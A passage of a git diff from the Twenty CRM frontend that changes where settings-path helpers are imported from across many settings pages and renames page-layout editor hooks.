} from '@/ui/layout/table/components/SortableTableHeader'; @@ -22,8 +23,6 @@ import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; import { isNonEmptyArray } from '@sniptt/guards'; import { useMemo, useState } from 'react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconChevronRight, @@ -35,6 +34,7 @@ import { Section } from 'twenty-ui/layout'; import { UndecoratedLink } from 'twenty-ui/navigation'; import { GET_SETTINGS_OBJECT_TABLE_METADATA } from '~/pages/settings/data-model/constants/SettingsObjectTableMetadata'; import { type SettingsObjectTableItem } from '~/pages/settings/data-model/types/SettingsObjectTableItem'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledIconChevronRight = styled(IconChevronRight)` color: ${({ theme }) => theme.font.color.tertiary}; diff --git a/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldConfigure.tsx b/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldConfigure.tsx index 016b96327c..0e5a23ae2d 100644 --- a/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldConfigure.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldConfigure.tsx @@ -10,6 +10,8 @@ import { SettingsDataModelFieldDescriptionForm } from '@/settings/data-model/fie import { SettingsDataModelFieldIconLabelForm } from '@/settings/data-model/fields/forms/components/SettingsDataModelFieldIconLabelForm'; import { SettingsDataModelFieldSettingsFormCard } from '@/settings/data-model/fields/forms/components/SettingsDataModelFieldSettingsFormCard'; import { settingsFieldFormSchema } from '@/settings/data-model/fields/forms/validation-schemas/settingsFieldFormSchema'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { type View } from '@/views/types/View'; @@ -20,8 +22,6 @@ import { useLingui } from '@lingui/react/macro'; import { useEffect, useState } from 'react'; import { FormProvider, useForm } from 'react-hook-form'; import { useParams, useSearchParams } from 'react-router-dom'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { type z } from 'zod'; @@ -29,6 +29,7 @@ import { FieldMetadataType } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; import { DEFAULT_ICONS_BY_FIELD_TYPE } from '~/pages/settings/data-model/constants/DefaultIconsByFieldType'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; type SettingsDataModelNewFieldFormValues = z.infer< ReturnType diff --git a/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect.tsx b/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect.tsx index 4df58c1c13..1158bc7351 100644 --- a/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect.tsx +++ b/packages/twenty-front/src/pages/settings/data-model/new-field/SettingsObjectNewFieldSelect.tsx @@ -5,17 +5,19 @@ import { SETTINGS_FIELD_TYPE_CONFIGS } from '@/settings/data-model/constants/Set import { SettingsObjectNewFieldSelector } from '@/settings/data-model/fields/forms/components/SettingsObjectNewFieldSelector'; import { type FieldType } from '@/settings/data-model/types/FieldType'; import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { zodResolver } from '@hookform/resolvers/zod'; import { t } from '@lingui/core/macro'; import { useEffect } from 'react'; import { FormProvider, useForm } from 'react-hook-form'; import { useParams } from 'react-router-dom'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { z } from 'zod'; import { FieldMetadataType } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const settingsDataModelFieldTypeFormSchema = z.object({ type: z.enum( @@ -68,11 +70,8 @@ export const SettingsObjectNewFieldSelect = () => { theme.font.color.light}; diff --git a/packages/twenty-front/src/pages/settings/developers/api-keys/SettingsDevelopersApiKeysNew.tsx b/packages/twenty-front/src/pages/settings/developers/api-keys/SettingsDevelopersApiKeysNew.tsx index bef2a725cb..71cc7d4528 100644 --- a/packages/twenty-front/src/pages/settings/developers/api-keys/SettingsDevelopersApiKeysNew.tsx +++ b/packages/twenty-front/src/pages/settings/developers/api-keys/SettingsDevelopersApiKeysNew.tsx @@ -8,6 +8,7 @@ import { SettingsSkeletonLoader } from '@/settings/components/SettingsSkeletonLo import { SettingsDevelopersRoleSelector } from '@/settings/developers/components/SettingsDevelopersRoleSelector'; import { EXPIRATION_DATES } from '@/settings/developers/constants/ExpirationDates'; import { apiKeyTokenFamilyState } from '@/settings/developers/states/apiKeyTokenFamilyState'; +import { SettingsPath } from '@/types/SettingsPath'; import { Select } from '@/ui/input/components/Select'; import { SettingsTextInput } from '@/ui/input/components/SettingsTextInput'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; @@ -15,8 +16,7 @@ import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled'; import { useLingui } from '@lingui/react/macro'; import { useRecoilCallback, useRecoilValue } from 'recoil'; import { Key } from 'ts-key-enum'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { @@ -26,6 +26,7 @@ import { useGetRolesQuery, } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsDevelopersApiKeysNew = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/developers/playground/SettingsGraphQLPlayground.tsx b/packages/twenty-front/src/pages/settings/developers/playground/SettingsGraphQLPlayground.tsx index fbf75bb9dc..410f632426 100644 --- a/packages/twenty-front/src/pages/settings/developers/playground/SettingsGraphQLPlayground.tsx +++ b/packages/twenty-front/src/pages/settings/developers/playground/SettingsGraphQLPlayground.tsx @@ -1,12 +1,12 @@ import { GraphQLPlayground } from '@/settings/playground/components/GraphQLPlayground'; import { PlaygroundSchemas } from '@/settings/playground/types/PlaygroundSchemas'; -import { SettingsPath } from 'twenty-shared/types'; +import { SettingsPath } from '@/types/SettingsPath'; import { FullScreenContainer } from '@/ui/layout/fullscreen/components/FullScreenContainer'; import { Trans } from '@lingui/react/macro'; import { useParams } from 'react-router-dom'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsGraphQLPlayground = () => { const navigateSettings = useNavigateSettings(); diff --git a/packages/twenty-front/src/pages/settings/developers/playground/SettingsRestPlayground.tsx b/packages/twenty-front/src/pages/settings/developers/playground/SettingsRestPlayground.tsx index 723706f619..55a2c70eac 100644 --- a/packages/twenty-front/src/pages/settings/developers/playground/SettingsRestPlayground.tsx +++ b/packages/twenty-front/src/pages/settings/developers/playground/SettingsRestPlayground.tsx @@ -1,11 +1,11 @@ import { RestPlayground } from '@/settings/playground/components/RestPlayground'; import { PlaygroundSchemas } from '@/settings/playground/types/PlaygroundSchemas'; +import { SettingsPath } from '@/types/SettingsPath'; import { FullScreenContainer } from '@/ui/layout/fullscreen/components/FullScreenContainer'; import { Trans } from '@lingui/react/macro'; import { useParams } from 'react-router-dom'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsRestPlayground = () => { const navigateSettings = useNavigateSettings(); diff --git a/packages/twenty-front/src/pages/settings/developers/webhooks/components/SettingsWebhooks.tsx b/packages/twenty-front/src/pages/settings/developers/webhooks/components/SettingsWebhooks.tsx index 0e26047bf0..480221c680 100644 --- a/packages/twenty-front/src/pages/settings/developers/webhooks/components/SettingsWebhooks.tsx +++ b/packages/twenty-front/src/pages/settings/developers/webhooks/components/SettingsWebhooks.tsx @@ -1,15 +1,15 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsWebhooksTable } from '@/settings/developers/components/SettingsWebhooksTable'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile'; import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title, IconPlus } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { Section } from 'twenty-ui/layout'; import { MOBILE_VIEWPORT } from 'twenty-ui/theme'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledButtonContainer = styled.div` display: flex; diff --git a/packages/twenty-front/src/pages/settings/domains/SettingsDomain.tsx b/packages/twenty-front/src/pages/settings/domains/SettingsDomain.tsx index 16882ab028..9f0b30fa03 100644 --- a/packages/twenty-front/src/pages/settings/domains/SettingsDomain.tsx +++ b/packages/twenty-front/src/pages/settings/domains/SettingsDomain.tsx @@ -7,6 +7,7 @@ import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsCustomDomain } from '@/settings/domains/components/SettingsCustomDomain'; import { SettingsSubdomain } from '@/settings/domains/components/SettingsSubdomain'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal'; import { useModal } from '@/ui/layout/modal/hooks/useModal'; @@ -16,11 +17,11 @@ import { zodResolver } from '@hookform/resolvers/zod'; import { Trans, useLingui } from '@lingui/react/macro'; import { FormProvider, useForm } from 'react-hook-form'; import { useRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { z } from 'zod'; import { useUpdateWorkspaceMutation } from '~/generated-metadata/graphql'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SUBDOMAIN_CHANGE_CONFIRMATION_MODAL_ID = 'subdomain-change-confirmation-modal'; diff --git a/packages/twenty-front/src/pages/settings/domains/SettingsDomains.tsx b/packages/twenty-front/src/pages/settings/domains/SettingsDomains.tsx index cdba2fea0a..7563bc4267 100644 --- a/packages/twenty-front/src/pages/settings/domains/SettingsDomains.tsx +++ b/packages/twenty-front/src/pages/settings/domains/SettingsDomains.tsx @@ -2,13 +2,13 @@ import styled from '@emotion/styled'; import { Trans, useLingui } from '@lingui/react/macro'; import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; -import { SettingsWorkspaceDomainCard } from '@/settings/domains/components/SettingsWorkspaceDomainCard'; import { SettingsApprovedAccessDomainsListCard } from '@/settings/security/components/approvedAccessDomains/SettingsApprovedAccessDomainsListCard'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; +import { SettingsWorkspaceDomainCard } from '@/settings/domains/components/SettingsWorkspaceDomainCard'; const StyledMainContent = styled.div` display: flex; diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationDatabase.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationDatabase.tsx index 12280fd2f4..434cecc1e7 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationDatabase.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationDatabase.tsx @@ -7,12 +7,13 @@ import { SettingsIntegrationPreview } from '@/settings/integrations/components/S import { SettingsIntegrationDatabaseConnectionsListCard } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionsListCard'; import { useIsSettingsIntegrationEnabled } from '@/settings/integrations/hooks/useIsSettingsIntegrationEnabled'; import { useSettingsIntegrationCategories } from '@/settings/integrations/hooks/useSettingsIntegrationCategories'; +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { useNavigateApp } from '~/hooks/useNavigateApp'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; -import { useNavigateApp } from '~/hooks/useNavigateApp'; export const SettingsIntegrationDatabase = () => { const { databaseKey = '' } = useParams(); diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationEditDatabaseConnection.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationEditDatabaseConnection.tsx index f3a20aec39..3045d339d0 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationEditDatabaseConnection.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationEditDatabaseConnection.tsx @@ -1,8 +1,8 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsIntegrationEditDatabaseConnectionContainer } from '@/settings/integrations/database-connection/components/SettingsIntegrationEditDatabaseConnectionContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsIntegrationEditDatabaseConnection = () => { return ( diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationMCPPage.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationMCPPage.tsx index 564e8ee1c4..00eb302ae2 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationMCPPage.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationMCPPage.tsx @@ -1,11 +1,11 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; -import { SettingsIntegrationMCP } from '@/settings/integrations/components/SettingsIntegrationMCP'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { Trans, useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; +import { SettingsIntegrationMCP } from '@/settings/integrations/components/SettingsIntegrationMCP'; +import { Trans, useLingui } from '@lingui/react/macro'; export const SettingsIntegrationMCPPage = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationNewDatabaseConnection.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationNewDatabaseConnection.tsx index ceb551018f..1c79a3e98b 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationNewDatabaseConnection.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationNewDatabaseConnection.tsx @@ -15,17 +15,17 @@ import { } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionForm'; import { useIsSettingsIntegrationEnabled } from '@/settings/integrations/hooks/useIsSettingsIntegrationEnabled'; import { useSettingsIntegrationCategories } from '@/settings/integrations/hooks/useSettingsIntegrationCategories'; - +import { AppPath } from '@/types/AppPath'; +import { SettingsPath } from '@/types/SettingsPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { ApolloError } from '@apollo/client'; -import { AppPath, SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { H2Title } from 'twenty-ui/display'; import { Section } from 'twenty-ui/layout'; import { type CreateRemoteServerInput } from '~/generated-metadata/graphql'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const createRemoteServerInputPostgresSchema = settingsIntegrationPostgreSQLConnectionFormSchema.transform( @@ -151,7 +151,9 @@ export const SettingsIntegrationNewDatabaseConnection = () => { }, { children: integration.text, - href: `${settingsIntegrationsPagePath}/${databaseKey}`, + href: getSettingsPath(SettingsPath.IntegrationDatabase, { + databaseKey, + }), }, { children: 'New' }, ]} diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationShowDatabaseConnection.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationShowDatabaseConnection.tsx index 164392439c..4b3cdaa9af 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationShowDatabaseConnection.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrationShowDatabaseConnection.tsx @@ -1,8 +1,8 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsIntegrationDatabaseConnectionShowContainer } from '@/settings/integrations/database-connection/components/SettingsIntegrationDatabaseConnectionShowContainer'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsIntegrationShowDatabaseConnection = () => { return ( diff --git a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrations.tsx b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrations.tsx index de47987646..ff77a4aaf6 100644 --- a/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrations.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/SettingsIntegrations.tsx @@ -1,10 +1,10 @@ import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer'; import { SettingsIntegrationGroup } from '@/settings/integrations/components/SettingsIntegrationGroup'; import { useSettingsIntegrationCategories } from '@/settings/integrations/hooks/useSettingsIntegrationCategories'; +import { SettingsPath } from '@/types/SettingsPath'; import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer'; import { Trans, useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const SettingsIntegrations = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationDatabase.stories.tsx b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationDatabase.stories.tsx index 1f6b761086..cd421f9b87 100644 --- a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationDatabase.stories.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationDatabase.stories.tsx @@ -1,15 +1,14 @@ // TEMP_DISABLED_TEST: Removed unused imports due to commented test import { type Meta, type StoryObj } from '@storybook/react'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsIntegrationDatabase } from '~/pages/settings/integrations/SettingsIntegrationDatabase'; import { PageDecorator, type PageDecoratorArgs, } from '~/testing/decorators/PageDecorator'; import { graphqlMocks } from '~/testing/graphqlMocks'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; // TEMP_DISABLED_TEST: Removed unused import due to commented test // import { sleep } from '~/utils/sleep'; diff --git a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationShowDatabaseConnection.stories.tsx b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationShowDatabaseConnection.stories.tsx index 06d2b51c9c..1801432ad7 100644 --- a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationShowDatabaseConnection.stories.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrationShowDatabaseConnection.stories.tsx @@ -1,15 +1,14 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsIntegrationShowDatabaseConnection } from '~/pages/settings/integrations/SettingsIntegrationShowDatabaseConnection'; import { PageDecorator, type PageDecoratorArgs, } from '~/testing/decorators/PageDecorator'; import { graphqlMocks } from '~/testing/graphqlMocks'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { sleep } from '~/utils/sleep'; const meta: Meta = { diff --git a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrations.stories.tsx b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrations.stories.tsx index 0471f1f7f4..b70683d36b 100644 --- a/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrations.stories.tsx +++ b/packages/twenty-front/src/pages/settings/integrations/__stories__/SettingsIntegrations.stories.tsx @@ -1,15 +1,14 @@ import { type Meta, type StoryObj } from '@storybook/react'; import { within } from '@storybook/test'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; +import { SettingsPath } from '@/types/SettingsPath'; import { SettingsIntegrations } from '~/pages/settings/integrations/SettingsIntegrations'; import { PageDecorator, type PageDecoratorArgs, } from '~/testing/decorators/PageDecorator'; import { graphqlMocks } from '~/testing/graphqlMocks'; - +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; import { sleep } from '~/utils/sleep'; const meta: Meta = { diff --git a/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayoutEdit.tsx b/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayoutEdit.tsx index d49670f9e8..a8effe2c50 100644 --- a/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayoutEdit.tsx +++ b/packages/twenty-front/src/pages/settings/page-layout/SettingsPageLayoutEdit.tsx @@ -4,29 +4,28 @@ import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons import { SettingsPageFullWidthContainer } from '@/settings/components/SettingsPageFullWidthContainer'; import { PageLayoutInitializationEffect } from '@/settings/page-layout/components/PageLayoutInitializationEffect'; import { PageLayoutWidgetPlaceholder } from '@/settings/page-layout/components/PageLayoutWidgetPlaceholder'; -import { WidgetRenderer } from '@/settings/page-layout/components/WidgetRenderer'; import { EMPTY_LAYOUT } from '@/settings/page-layout/constants/EmptyLayout'; import { PAGE_LAYOUT_CONFIG, type PageLayoutBreakpoint, } from '@/settings/page-layout/constants/PageLayoutBreakpoints'; -import { SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID } from '@/settings/page-layout/constants/SettingsPageLayoutTabsInstanceId'; -import { useChangePageLayoutDragSelection } from '@/settings/page-layout/hooks/useChangePageLayoutDragSelection'; -import { useCreatePageLayoutTab } from '@/settings/page-layout/hooks/useCreatePageLayoutTab'; -import { useDeletePageLayoutWidget } from '@/settings/page-layout/hooks/useDeletePageLayoutWidget'; -import { useEndPageLayoutDragSelection } from '@/settings/page-layout/hooks/useEndPageLayoutDragSelection'; import { usePageLayoutDraftState } from '@/settings/page-layout/hooks/usePageLayoutDraftState'; +import { usePageLayoutDragSelection } from '@/settings/page-layout/hooks/usePageLayoutDragSelection'; import { usePageLayoutHandleLayoutChange } from '@/settings/page-layout/hooks/usePageLayoutHandleLayoutChange'; import { usePageLayoutSaveHandler } from '@/settings/page-layout/hooks/usePageLayoutSaveHandler'; -import { useStartPageLayoutDragSelection } from '@/settings/page-layout/hooks/useStartPageLayoutDragSelection'; +import { usePageLayoutTabCreate } from '@/settings/page-layout/hooks/usePageLayoutTabCreate'; +import { usePageLayoutWidgetDelete } from '@/settings/page-layout/hooks/usePageLayoutWidgetDelete'; import { WidgetType } from '@/settings/page-layout/mocks/mockWidgets'; import { pageLayoutCurrentBreakpointState } from '@/settings/page-layout/states/pageLayoutCurrentBreakpointState'; import { pageLayoutCurrentLayoutsState } from '@/settings/page-layout/states/pageLayoutCurrentLayoutsState'; +import { pageLayoutCurrentTabIdForCreationState } from '@/settings/page-layout/states/pageLayoutCurrentTabIdForCreation'; import { pageLayoutEditingWidgetIdState } from '@/settings/page-layout/states/pageLayoutEditingWidgetIdState'; import { pageLayoutSelectedCellsState } from '@/settings/page-layout/states/pageLayoutSelectedCellsState'; import { type PageLayoutWidget } from '@/settings/page-layout/states/savedPageLayoutsState'; import { calculateTotalGridRows } from '@/settings/page-layout/utils/calculateTotalGridRows'; import { generateCellId } from '@/settings/page-layout/utils/generateCellId'; +import { renderWidget } from '@/settings/page-layout/utils/widgetRegistry'; +import { SettingsPath } from '@/types/SettingsPath'; import { TitleInput } from '@/ui/input/components/TitleInput'; import { TabList } from '@/ui/layout/tab-list/components/TabList'; import { activeTabIdComponentState } from '@/ui/layout/tab-list/states/activeTabIdComponentState'; @@ -45,11 +44,10 @@ import 'react-grid-layout/css/styles.css'; import 'react-resizable/css/styles.css'; import { useParams } from 'react-router-dom'; import { useRecoilState, useRecoilValue, useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconAppWindow, IconPlus } from 'twenty-ui/display'; import { Button } from 'twenty-ui/input'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; const StyledGridContainer = styled.div` background: ${({ theme }) => theme.background.secondary}; @@ -145,6 +143,9 @@ export const SettingsPageLayoutEdit = () => { const pageLayoutCurrentLayouts = useRecoilValue( pageLayoutCurrentLayoutsState, ); + const setPageLayoutCurrentTabIdForCreation = useSetRecoilState( + pageLayoutCurrentTabIdForCreationState, + ); const { navigateCommandMenu } = useNavigateCommandMenu(); const setPageLayoutEditingWidgetId = useSetRecoilState( pageLayoutEditingWidgetIdState, @@ -154,13 +155,7 @@ export const SettingsPageLayoutEdit = () => { const activeTabId = useRecoilComponentValue( activeTabIdComponentState, - SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - ); - - const setActiveTabId = useSetRecoilState( - activeTabIdComponentState.atomFamily({ - instanceId: SETTINGS_PAGE_LAYOUT_TABS_INSTANCE_ID, - }), + 'page-layout-tabs', ); const activeTabWidgets = useMemo(() => { @@ -176,22 +171,25 @@ export const SettingsPageLayoutEdit = () => { [pageLayoutDraft.tabs], ); - const { startPageLayoutDragSelection } = useStartPageLayoutDragSelection(); - const { changePageLayoutDragSelection } = useChangePageLayoutDragSelection(); - const { endPageLayoutDragSelection } = useEndPageLayoutDragSelection(); + const { + handleDragSelectionStart, + handleDragSelectionChange, + handleDragSelectionEnd, + } = usePageLayoutDragSelection(); const handleOpenAddWidget = useCallback(() => { + setPageLayoutCurrentTabIdForCreation(activeTabId); navigateCommandMenu({ page: CommandMenuPages.PageLayoutWidgetTypeSelect, pageTitle: 'Add Widget', pageIcon: IconAppWindow, resetNavigationStack: true, }); - }, [navigateCommandMenu]); + }, [navigateCommandMenu, activeTabId, setPageLayoutCurrentTabIdForCreation]); - const { deletePageLayoutWidget } = useDeletePageLayoutWidget(); + const { handleRemoveWidget } = usePageLayoutWidgetDelete(); const { handleLayoutChange } = usePageLayoutHandleLayoutChange(activeTabId); - const { createPageLayoutTab } = useCreatePageLayoutTab(); + const { handleCreateTab } = usePageLayoutTabCreate(); const handleEditWidget = useCallback( (widgetId: string) => { @@ -199,6 +197,9 @@ export const SettingsPageLayoutEdit = () => { if (!widget) return; setPageLayoutEditingWidgetId(widgetId); + setPageLayoutCurrentTabIdForCreation( + widget.pageLayoutTabId || activeTabId, + ); if (widget.type === WidgetType.IFRAME) { navigateCommandMenu({ @@ -209,7 +210,13 @@ export const SettingsPageLayoutEdit = () => { }); } }, - [allWidgets, setPageLayoutEditingWidgetId, navigateCommandMenu], + [ + allWidgets, + setPageLayoutEditingWidgetId, + navigateCommandMenu, + setPageLayoutCurrentTabIdForCreation, + activeTabId, + ], ); const isEmptyState = activeTabWidgets.length === 0; @@ -226,10 +233,16 @@ export const SettingsPageLayoutEdit = () => { navigateSettings(SettingsPath.PageLayout); }; + const setActiveTabId = useSetRecoilState( + activeTabIdComponentState.atomFamily({ + instanceId: 'page-layout-tabs', + }), + ); + const handleAddTab = useCallback(() => { - const newTabId = createPageLayoutTab(); + const newTabId = handleCreateTab(); setActiveTabId(newTabId); - }, [createPageLayoutTab, setActiveTabId]); + }, [handleCreateTab, setActiveTabId]); const tabListTabs: SingleTabProps[] = useMemo(() => { 